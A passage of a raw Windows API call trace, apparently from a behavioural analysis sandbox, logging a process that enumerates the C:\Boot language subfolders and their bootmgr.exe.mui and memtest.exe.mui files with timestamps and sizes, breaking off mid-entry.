[0242.933] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0242.933] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.934] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.934] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0242.934] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec170 [0242.934] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.934] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.935] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0242.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0242.935] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.935] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.935] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.935] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0242.936] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec270 [0242.936] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.936] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0242.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0242.936] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.936] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.936] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.937] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.937] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0242.937] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.937] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.937] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.937] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.937] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.937] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.937] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0242.938] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.938] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.938] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0242.938] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 